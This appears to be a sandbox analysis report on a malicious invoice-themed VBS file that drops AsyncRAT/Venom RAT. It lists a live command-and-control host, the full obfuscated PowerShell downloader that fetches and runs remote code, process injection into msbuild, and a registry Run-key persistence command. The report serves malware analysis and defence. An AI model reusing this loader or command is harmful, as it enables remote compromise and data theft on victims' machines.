Analysis
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max time kernel
600s -
max time network
601s -
platform
windows10-1703_x64 -
resource
win10-20231215-en -
resource tags
arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system -
submitted
22/01/2024, 20:44
Static task
static1
Behavioral task
behavioral1
Sample
INVOICE-WR002.vbs
Resource
win10-20231215-en
Behavioral task
behavioral2
Sample
INVOICE-WR002.vbs
Resource
win10v2004-20231215-en
Behavioral task
behavioral3
Sample
INVOICE-WR002.vbs
Resource
win11-20231215-en
General
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Target
INVOICE-WR002.vbs
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Size
15KB
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MD5
bb712d3c18fea72efe80f968114b4443
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SHA1
09eef257c8e2a61019adfc5b6f38f001e5403813
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SHA256
ad795f755beba3292bfc723d33bc0d276938e491629ddf50d4c3b48c55838219
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SHA512
3ca5ca950d6e3c63c514ee4947b561e1db8698a2f80e7f664f76741b55951a3f3edbe0a35768eb74052c6be4f3ea118931c6651577fd024f43e4089026de7c0d
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SSDEEP
192:lrLS5gop0kq3n98Fw9/lPlhcz+8R0YeshPQpSaUa+Ux/8eXbrl7zWI2o60KoZ3Yw:pLaO/dhIJushPYSzg1pjk2/N
Malware Config
Extracted
asyncrat
5.0.5
Venom Clients
vendjksld.duckdns.org:8890
Venom_RAT_HVNC_Mutex_Venom RAT_HVNC
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delay
1
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install
false
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install_folder
%AppData%
Signatures
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Async RAT payload 2 IoCs
resource yara_rule behavioral1/memory/1652-631779-0x000000006E360000-0x000000006F6E3000-memory.dmp asyncrat behavioral1/memory/1652-631781-0x000000006E360000-0x000000006E376000-memory.dmp asyncrat -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-655921741-723621465-1580683668-1000\Software\Microsoft\Windows\CurrentVersion\Run\Guesstimating = "%Gammelkommunisten% -w 1 $Malandered=(Get-ItemProperty -Path 'HKCU:\\Frea\\').Teratosis;%Gammelkommunisten% ($Malandered)" reg.exe -
Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
pid Process 1652 msbuild.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
pid Process 1936 powershell.exe 1652 msbuild.exe -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 1936 set thread context of 1652 1936 powershell.exe 79 -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Modifies registry key 1 TTPs 1 IoCs
pid Process 3092 reg.exe -
Suspicious behavior: EnumeratesProcesses 6 IoCs
pid Process 2656 powershell.exe 2656 powershell.exe 2656 powershell.exe 1936 powershell.exe 1936 powershell.exe 1936 powershell.exe -
Suspicious behavior: MapViewOfSection 1 IoCs
pid Process 1936 powershell.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
description pid Process Token: SeDebugPrivilege 2656 powershell.exe Token: SeDebugPrivilege 1936 powershell.exe Token: SeDebugPrivilege 1652 msbuild.exe -
Suspicious use of WriteProcessMemory 16 IoCs
description pid Process procid_target PID 196 wrote to memory of 2656 196 WScript.exe 75 PID 196 wrote to memory of 2656 196 WScript.exe 75 PID 2656 wrote to memory of 1936 2656 powershell.exe 77 PID 2656 wrote to memory of 1936 2656 powershell.exe 77 PID 2656 wrote to memory of 1936 2656 powershell.exe 77 PID 1936 wrote to memory of 1652 1936 powershell.exe 79 PID 1936 wrote to memory of 1652 1936 powershell.exe 79 PID 1936 wrote to memory of 1652 1936 powershell.exe 79 PID 1936 wrote to memory of 1652 1936 powershell.exe 79 PID 1936 wrote to memory of 1652 1936 powershell.exe 79 PID 1652 wrote to memory of 2224 1652 msbuild.exe 80 PID 1652 wrote to memory of 2224 1652 msbuild.exe 80 PID 1652 wrote to memory of 2224 1652 msbuild.exe 80 PID 2224 wrote to memory of 3092 2224 cmd.exe 82 PID 2224 wrote to memory of 3092 2224 cmd.exe 82 PID 2224 wrote to memory of 3092 2224 cmd.exe 82
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\INVOICE-WR002.vbs"1⤵
- Suspicious use of WriteProcessMemory
PID:196 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "gal;gal;gal;gal;gal;gal;gal;gal;gal;Function Fodfstets9 ($bestykkende){$Hymenial = $bestykkende.Length-1; For ($Enterorrhaphy=4; $Enterorrhaphy -lt $Hymenial){$Hovedkalender=$Hovedkalender+$bestykkende.Substring( $Enterorrhaphy, 1);$Enterorrhaphy+=5;}$Hovedkalender;}$Semestrenes=Fodfstets9 'MetrhStvetAflvtScarpBospsTend:Buff/ Gua/LbehwSkeliStilnUnlodMaluetranrTrops Komw ForoTrimnruffdBooteJallr Bams Fes.IxiacAggloKnowm Arn/PoliJAgonK Rrf/epigM Inku MajzSletzAlge.BashtChectDisef Ree ';$Hovedkalender01=Fodfstets9 'SkoviTokteHalvxTavs ';$Troedes = Fodfstets9 ' Ama\FremsBully PensSyniw TraoHeatwCamp6Forf4Solv\EgopW SouiBelln Incd Solo ForwEftesLokoP ScroStimwSirueDelmr KkkSBoush Muce UpclConfl Kne\FastvSpor1myzo.Samo0Sten\KjrspHoveoskalw TileRegurIllusSharhStine liplelmel Nst.Fucue OlvxBandeSalv ';&($Hovedkalender01) (Fodfstets9 ' Bes$StruF KrouSporl ActdBieneRekomEstiaMedenAnchd Cros FllsInsenbugoaEntokProjslsni6 Ant2Simp2 Haa=Musc$SambeVilkn AkvvBeto: PanwBrnei KaynMinidZygoi CorrSouf ') ;&($Hovedkalender01) (Fodfstets9 'Reco$GranTUndsrSwoooCoileIldsdPareeMantsbras=Rigm$HjlaFUdhnuGanglLolad KroeFastmForbaStifnRepudPrelsUsursTromnPaneaSemik FulsFled6Kans2Hvid2 Jud+Tran$ ConTInser SecoForueCosgdFrasePleosGlde ') ;&($Hovedkalender01) (Fodfstets9 ' Qui$FingLTilbemayogForne TerrStaaeRathnIntedMaseeAutosPreo Attr= Ste Ski( Tun(TrstgGuavwPetrmDishiSemi FruswPostiUnswnBigh3Vizs2Bios_Fuglp VilrTubeo CorcDisaehings AlmsRaba Unde-RevoFBarn RygrPTindr AfloUndecLufteMangsKrigs VilIToasdJubl=Sarc$Naem{shopPimmaIreinDAfry}Scho)Firm.DefiCBesvoFrihmaskemSankaGestnMargdKlvaLMiljiTeosn PapeToit)Simu Neig- KlasDemopSteelKsediTitatSoci Sove[ Slyc PaphProtaAlagrPrei] Par3durk4Kedg ');&($Hovedkalender01) (Fodfstets9 'conj$HjorFMacreOveraHvlbtSmadhFrueeEnsir ForbClineCarpdAfstd udre Kred Cle Alek=Forb Sky$MollLBalleUnwagCirceCagergldeeCompn CruddeyseDobbsDelt[Whis$FakuL Haee ExqgLocreMycor GenePaavn VeddMezceAttosRule. AigcRammoUnreu CusnSekttGloe- Pan2Inne]Lejl ');&($Hovedkalender01) (Fodfstets9 'Gung$ RomFKremrKlknaAfsktHaana StegDrejeNatur Une=Drab(AalnTmawreForrsTimotSlyn- UfePSortaFacttYppehShel Roma$VideTReserAlguoRegreCatadSammeSpecsSyne) fav Tota-TungA SurnUnaldLove Asp(Buti[MuddITvrdnAnket NonP AuttGymsrRist] Str:Nain:bogts PhyiInduzParteSkif Unsp-TakteLydiqUdeb Udh8 fir)Chir ') ;if ($Fratager) {&$Troedes $Featherbedded;} else {;$Hovedkalender00=Fodfstets9 ' CraSCanatHarda seprPanetWigg-karrBBeheiacettAnemsViseT HafrJobaachasnKorhsChinfUndeeSurarBego Oers-HymeSGenbo wamuFejlrCorncHeree Kab Fora$NydaSWalpeIndfmForeeTermsFaiptPrverPerie LevnCondeBremsKalk Delt-MuseDUnimeklensDisctSkudi SolnsyleaClartSkrmiMakkoAffrnUnbe Olie$ForsFleukuSnarlRegrdTangeVaasmHkkea QuanrverdSadtsFemhsStrunforaaFyrrkKolosTeam6Pero2Hrin2Deko ';&($Hovedkalender01) (Fodfstets9 'Skab$SmrrFSnvluUdhnlUdipdEpiceKashmSkola SplnCyrid GrasBlyas BernCapiaKompkBarnsCorn6 Sup2Bulb2 Rom=Lumi$ UnbeinfonCisavSpum:Lnpaa Dikp UnipGrnsdKornaUnintPausaJobs ') ;&($Hovedkalender01) (Fodfstets9 'CoagIRetsm Frep GruoTidsrEquitPaat-UpgaMLeggo Ford TjeuCowalUsleeSofa PhoBLauriForftSlagsUnpuTDaglranmaaSnohn StesDeclfOkkuePartrUnob ') ;$Fuldemandssnaks622=$Fuldemandssnaks622+'\Tilnavns.Cla';while (-not $Nonintuitive) {&($Hovedkalender01) (Fodfstets9 ' Alp$OverNPulloWoadn baliPresnperitDeatuCirci UndtNonciDetevnonheTant=Odon(OverTGymneFailsFlect Smr-KunsP MecaOvertunomhKonv Hem$ThesFEneruUngul retdDamreIndjm feraKunsnSweadPlaysdandsCaltnTeleaUncokBogssForv6 Str2Puga2Como)Acic ') ;&($Hovedkalender01) $Hovedkalender00;&($Hovedkalender01) (Fodfstets9 'HypeSGiantPeria SyvrButctPica-StjlSSerrl BereProfe Kalp Jul Ngle5 Bor ');}&($Hovedkalender01) (Fodfstets9 ' Hhn$UnsuFTiltoMaltdLeonfPoorsFiskt Snke Firt HoasHove Achi= Mal BesiGHedgeJordtBane-PrisCMicroConsnmasttUdloe OranKrastAkro Anag$HjemFUdstu FejlOtindDraweAalemBogiaOilbnKolbdPlatsRomasBalan DynaRdgakStedsBygg6Fibr2 Mon2Tils ');&($Hovedkalender01) (Fodfstets9 'prut$SpdbRKldee ChonGangaTopltLangiEleco LofnDiscaCounl seri attzudleiEften RikgAfhr Scim=Dere Tena[solaSAdjoyTilssEmpetTille nonmforg.EnglC Foro HaanOmbrvPlaye ForrVolatMili] Stu: Bro:ProtFStudrModeounsamHavgB udlaNonssBrneeUnde6Roug4OtorS ExctOverrCosiiChoanWelcgNonc(Prep$SkreFWacaoArbedProjffinns SaltMangekleptundesSyge)Prof ');&($Hovedkalender01) (Fodfstets9 ' Cen$LareHThinoBogkvPhoteTandd DeckLikvaOprel SideWindn CridPrvmeMapprDest2Roes Clou=cogi thei[avanSShaty Dobs TyptOvere insmSlum.CalcTPuckeStanxWerat Ren.HypeERestn Oppc EquoMisqdStaviFlitnIncagProc]Dkst: Sik:MisiA NonSSpliC TaxIFaksIslve. TanGShane TidtOffdSDamptzulurMaltipigfnhindgAstr(Peng$TrstRTarreGenknValgaUmbrtDiskiTankoTilsn DeaaLeaklDecei KadzRoseiFortnVermgHord)Nona ');&($Hovedkalender01) (Fodfstets9 ' Afm$DiebIAfkonUnapdInderPlysuEreml OnllBjereUnditLyri=Nonc$LattHReguo fravtorpeallydTyvskFustaBaptl UndePerenKerndUnsteCrourRoge2Tran. PipsUddauIndsbBernsRatatEtagrSpaliUdvanSummgsofa(Udby3 Mud0 Ove8snub4Ring9 Luf2Caff, Dan2Jobs7Gram5Damb7Hrfr2Fibb)Musi ');&($Hovedkalender01) $Indrullet;}"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2656 -
C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "gal;gal;gal;gal;gal;gal;gal;gal;gal;Function Fodfstets9 ($bestykkende){$Hymenial = $bestykkende.Length-1; For ($Enterorrhaphy=4; $Enterorrhaphy -lt $Hymenial){$Hovedkalender=$Hovedkalender+$bestykkende.Substring( $Enterorrhaphy, 1);$Enterorrhaphy+=5;}$Hovedkalender;}$Semestrenes=Fodfstets9 'MetrhStvetAflvtScarpBospsTend:Buff/ Gua/LbehwSkeliStilnUnlodMaluetranrTrops Komw ForoTrimnruffdBooteJallr Bams Fes.IxiacAggloKnowm Arn/PoliJAgonK Rrf/epigM Inku MajzSletzAlge.BashtChectDisef Ree ';$Hovedkalender01=Fodfstets9 'SkoviTokteHalvxTavs ';$Troedes = Fodfstets9 ' Ama\FremsBully PensSyniw TraoHeatwCamp6Forf4Solv\EgopW SouiBelln Incd Solo ForwEftesLokoP ScroStimwSirueDelmr KkkSBoush Muce UpclConfl Kne\FastvSpor1myzo.Samo0Sten\KjrspHoveoskalw TileRegurIllusSharhStine liplelmel Nst.Fucue OlvxBandeSalv ';&($Hovedkalender01) (Fodfstets9 ' Bes$StruF KrouSporl ActdBieneRekomEstiaMedenAnchd Cros FllsInsenbugoaEntokProjslsni6 Ant2Simp2 Haa=Musc$SambeVilkn AkvvBeto: PanwBrnei KaynMinidZygoi CorrSouf ') ;&($Hovedkalender01) (Fodfstets9 'Reco$GranTUndsrSwoooCoileIldsdPareeMantsbras=Rigm$HjlaFUdhnuGanglLolad KroeFastmForbaStifnRepudPrelsUsursTromnPaneaSemik FulsFled6Kans2Hvid2 Jud+Tran$ ConTInser SecoForueCosgdFrasePleosGlde ') ;&($Hovedkalender01) (Fodfstets9 ' Qui$FingLTilbemayogForne TerrStaaeRathnIntedMaseeAutosPreo Attr= Ste Ski( Tun(TrstgGuavwPetrmDishiSemi FruswPostiUnswnBigh3Vizs2Bios_Fuglp VilrTubeo CorcDisaehings AlmsRaba Unde-RevoFBarn RygrPTindr AfloUndecLufteMangsKrigs VilIToasdJubl=Sarc$Naem{shopPimmaIreinDAfry}Scho)Firm.DefiCBesvoFrihmaskemSankaGestnMargdKlvaLMiljiTeosn PapeToit)Simu Neig- KlasDemopSteelKsediTitatSoci Sove[ Slyc PaphProtaAlagrPrei] Par3durk4Kedg ');&($Hovedkalender01) (Fodfstets9 'conj$HjorFMacreOveraHvlbtSmadhFrueeEnsir ForbClineCarpdAfstd udre Kred Cle Alek=Forb Sky$MollLBalleUnwagCirceCagergldeeCompn CruddeyseDobbsDelt[Whis$FakuL Haee ExqgLocreMycor GenePaavn VeddMezceAttosRule. AigcRammoUnreu CusnSekttGloe- Pan2Inne]Lejl ');&($Hovedkalender01) (Fodfstets9 'Gung$ RomFKremrKlknaAfsktHaana StegDrejeNatur Une=Drab(AalnTmawreForrsTimotSlyn- UfePSortaFacttYppehShel Roma$VideTReserAlguoRegreCatadSammeSpecsSyne) fav Tota-TungA SurnUnaldLove Asp(Buti[MuddITvrdnAnket NonP AuttGymsrRist] Str:Nain:bogts PhyiInduzParteSkif Unsp-TakteLydiqUdeb Udh8 fir)Chir ') ;if ($Fratager) {&$Troedes $Featherbedded;} else {;$Hovedkalender00=Fodfstets9 ' CraSCanatHarda seprPanetWigg-karrBBeheiacettAnemsViseT HafrJobaachasnKorhsChinfUndeeSurarBego Oers-HymeSGenbo wamuFejlrCorncHeree Kab Fora$NydaSWalpeIndfmForeeTermsFaiptPrverPerie LevnCondeBremsKalk Delt-MuseDUnimeklensDisctSkudi SolnsyleaClartSkrmiMakkoAffrnUnbe Olie$ForsFleukuSnarlRegrdTangeVaasmHkkea QuanrverdSadtsFemhsStrunforaaFyrrkKolosTeam6Pero2Hrin2Deko ';&($Hovedkalender01) (Fodfstets9 'Skab$SmrrFSnvluUdhnlUdipdEpiceKashmSkola SplnCyrid GrasBlyas BernCapiaKompkBarnsCorn6 Sup2Bulb2 Rom=Lumi$ UnbeinfonCisavSpum:Lnpaa Dikp UnipGrnsdKornaUnintPausaJobs ') ;&($Hovedkalender01) (Fodfstets9 'CoagIRetsm Frep GruoTidsrEquitPaat-UpgaMLeggo Ford TjeuCowalUsleeSofa PhoBLauriForftSlagsUnpuTDaglranmaaSnohn StesDeclfOkkuePartrUnob ') ;$Fuldemandssnaks622=$Fuldemandssnaks622+'\Tilnavns.Cla';while (-not $Nonintuitive) {&($Hovedkalender01) (Fodfstets9 ' Alp$OverNPulloWoadn baliPresnperitDeatuCirci UndtNonciDetevnonheTant=Odon(OverTGymneFailsFlect Smr-KunsP MecaOvertunomhKonv Hem$ThesFEneruUngul retdDamreIndjm feraKunsnSweadPlaysdandsCaltnTeleaUncokBogssForv6 Str2Puga2Como)Acic ') ;&($Hovedkalender01) $Hovedkalender00;&($Hovedkalender01) (Fodfstets9 'HypeSGiantPeria SyvrButctPica-StjlSSerrl BereProfe Kalp Jul Ngle5 Bor ');}&($Hovedkalender01) (Fodfstets9 ' Hhn$UnsuFTiltoMaltdLeonfPoorsFiskt Snke Firt HoasHove Achi= Mal BesiGHedgeJordtBane-PrisCMicroConsnmasttUdloe OranKrastAkro Anag$HjemFUdstu FejlOtindDraweAalemBogiaOilbnKolbdPlatsRomasBalan DynaRdgakStedsBygg6Fibr2 Mon2Tils ');&($Hovedkalender01) (Fodfstets9 'prut$SpdbRKldee ChonGangaTopltLangiEleco LofnDiscaCounl seri attzudleiEften RikgAfhr Scim=Dere Tena[solaSAdjoyTilssEmpetTille nonmforg.EnglC Foro HaanOmbrvPlaye ForrVolatMili] Stu: Bro:ProtFStudrModeounsamHavgB udlaNonssBrneeUnde6Roug4OtorS ExctOverrCosiiChoanWelcgNonc(Prep$SkreFWacaoArbedProjffinns SaltMangekleptundesSyge)Prof ');&($Hovedkalender01) (Fodfstets9 ' Cen$LareHThinoBogkvPhoteTandd DeckLikvaOprel SideWindn CridPrvmeMapprDest2Roes Clou=cogi thei[avanSShaty Dobs TyptOvere insmSlum.CalcTPuckeStanxWerat Ren.HypeERestn Oppc EquoMisqdStaviFlitnIncagProc]Dkst: Sik:MisiA NonSSpliC TaxIFaksIslve. TanGShane TidtOffdSDamptzulurMaltipigfnhindgAstr(Peng$TrstRTarreGenknValgaUmbrtDiskiTankoTilsn DeaaLeaklDecei KadzRoseiFortnVermgHord)Nona ');&($Hovedkalender01) (Fodfstets9 ' Afm$DiebIAfkonUnapdInderPlysuEreml OnllBjereUnditLyri=Nonc$LattHReguo fravtorpeallydTyvskFustaBaptl UndePerenKerndUnsteCrourRoge2Tran. PipsUddauIndsbBernsRatatEtagrSpaliUdvanSummgsofa(Udby3 Mud0 Ove8snub4Ring9 Luf2Caff, Dan2Jobs7Gram5Damb7Hrfr2Fibb)Musi ');&($Hovedkalender01) $Indrullet;}"3⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1936 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe"4⤵
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1652 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Guesstimating" /t REG_EXPAND_SZ /d "%Gammelkommunisten% -w 1 $Malandered=(Get-ItemProperty -Path 'HKCU:\Frea\').Teratosis;%Gammelkommunisten% ($Malandered)"5⤵
- Suspicious use of WriteProcessMemory
PID:2224 -
C:\Windows\SysWOW64\reg.exeREG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Guesstimating" /t REG_EXPAND_SZ /d "%Gammelkommunisten% -w 1 $Malandered=(Get-ItemProperty -Path 'HKCU:\Frea\').Teratosis;%Gammelkommunisten% ($Malandered)"6⤵
- Adds Run key to start application
- Modifies registry key
PID:3092
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
1B
MD5c4ca4238a0b923820dcc509a6f75849b
SHA1356a192b7913b04c54574d18c28d46e6395428ab
SHA2566b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
SHA5124dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a